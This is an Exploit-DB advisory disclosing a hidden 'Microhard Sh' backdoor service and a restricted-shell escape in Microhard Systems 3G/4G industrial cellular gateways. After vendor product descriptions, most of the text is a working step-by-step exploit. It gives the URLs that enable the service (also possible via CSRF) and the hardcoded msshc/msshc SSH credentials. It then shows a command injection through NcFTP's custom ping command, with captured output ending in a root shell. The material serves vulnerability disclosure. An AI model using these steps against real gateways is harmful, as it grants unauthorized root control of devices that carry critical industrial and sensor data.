Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Restricted Shell Escape

EDB-ID:

45041

CVE:

N/A

Author:

LiquidWorm

Type:

local

Platform:

Hardware

Published:

2018-07-17

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user. 

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5486
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php


13.03.2018

--


1) Enable Microhard Sh service:
-------------------------------

http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)


2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------

# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp

start() {
  deluser msshc
  rm -rf /tmp/msshc
  mkdir -p /tmp/msshc
  msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
  [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
  passwd=$(/sbin/uci get msshc.general.passwd)
  echo "$passwd" >> /etc/passwd
}

stop() {
  deluser msshc
  rm -rf /tmp/msshc
}


3) Check the /etc/msshc.sh script:
----------------------------------

# cat /etc/msshc.sh
#!/bin/sh 
# Copyright (C) 2013 Microhardcorp

/usr/bin/ncftp

exit 0


4) Check the /sbin/uci binary:
------------------------------

Usage: /sbin/uci [<options>] <command> [<arguments>]

Commands:
    batch
    export     [<config>]
    import     [<config>]
    changes    [<config>]
    commit     [<config>]
    add        <config> <section-type>
    add_list   <config>.<section>.<option>=<string>
    show       [<config>[.<section>[.<option>]]]
    get        <config>.<section>[.<option>]
    set        <config>.<section>[.<option>]=<value>
    delete     <config>[.<section[.<option>]]
    rename     <config>.<section>[.<option>]=<name>
    revert     <config>[.<section>[.<option>]]

Options:
    -c <path>  set the search path for config files (default: /etc/config)
    -d <str>   set the delimiter for list values in uci show
    -f <file>  use <file> as input instead of stdin
    -L         do not load any plugins
    -m         when importing, merge data into an existing package
    -n         name unnamed sections on export (default)
    -N         don't name unnamed sections
    -p <path>  add a search path for config change files
    -P <path>  add a search path for config change files and use as default
    -q         quiet mode (don't print error messages)
    -s         force strict mode (stop on parser errors, default)
    -S         disable strict mode
    -X         do not use extended syntax on 'show'

# /sbin/uci get msshc.general.passwd
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


5) Check the NcFTP binary:
--------------------------

# /usr/bin/ncftp -h

Usage:  ncftp [flags] [<host> | <directory URL to browse>]

Flags:
  -u XX  Use username XX instead of anonymous.
  -p XX  Use password XX with the username.
  -P XX  Use port number XX instead of the default FTP service port (21).
  -j XX  Use account XX with the username (rarely needed).
  -F     Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.

Program version:  NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM
Library version:  LibNcFTP 3.2.5 (January 17, 2011)
Build system:     Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...

This is a freeware program by Mike Gleason (http://www.NcFTP.com).
A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/
Use ncftpget and ncftpput for command-line FTP and file URLs.


6) Go to jail:
--------------

lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 msshc@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
msshc@192.168.1.1's password: 
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).

Copyright (c) 1992-2011 by Mike Gleason.
All rights reserved.

ncftp> ?
Commands may be abbreviated.  'help showall' shows hidden and unsupported 
commands.  'help <command>' gives a brief description of <command>.

ascii    close    help     mkdir    put      rename   set      umask  
binary   debug    lls      open     pwd      rhelp    show     
cd       dir      lrm      passive  quit     rm       site     
chmod    get      ls       ping     quote    rmdir    type     

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> help showall
Commands may be abbreviated.  'help showall' shows hidden and unsupported
commands.  'help <command>' gives a brief description of <command>.

?        chmod    exit     ls       mv       pwd      rhelp    site
ascii    close    get      mget     open     quit     rm       type
binary   debug    help     mkdir    passive  quote    rmdir    umask
bye      delete   lls      mls      ping     rename   set
cd       dir      lrm      mput     put      rglob    show

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> ls
ls: must be connected to do that.
ncftp> man ncftp
man: no such command.
ncftp> pwd
pwd: must be connected to do that.
ncftp> show
anon-password                  NcFTP@
auto-ascii                     |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|
auto-resume                    no
autosave-bookmark-changes      no
confirm-close                  no
connect-timeout                20
control-timeout                135
logsize                        10240
pager                          more
passive                        optional
progress-meter                 2 (statbar)
redial-delay                   20
save-passwords                 ask
show-status-in-xterm-titlebar  no
so-bufsize                     0 (use system default)
xfer-timeout                   3600
yes-i-know-about-NcFTPd        no
ncftp>


7) The Shawshank Redemption:
---------------------------- 

ncftp> ping -c1 -4 0.0.0.0 `id` 
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary

Usage: ping [OPTIONS] HOST

Send ICMP ECHO_REQUEST packets to network hosts

Options:
    -4, -6        Force IPv4 or IPv6 hostname resolution
    -c CNT        Send only CNT pings
    -s SIZE        Send SIZE data bytes in packets (default:56)
    -I IFACE/IP    Use interface or IP address as source
    -W SEC        Seconds to wait for the first response (default:10)
            (after all -c CNT packets are sent)
    -w SEC        Seconds until ping exits (default:infinite)
            (can exit earlier with -c CNT)
    -q        Quiet, only displays output at start
            and when finished

ncftp>


8) Come on Andy:
----------------

ncftp> ping -c1 -4 0.0.0.0 && /bin/sh
PING 0.0.0.0 (0.0.0.0): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms

--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.423/0.423/0.423 ms


BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/tmp/msshc # id ; uname -r
uid=0(root) gid=0(root)
2.6.32.9
/tmp/msshc #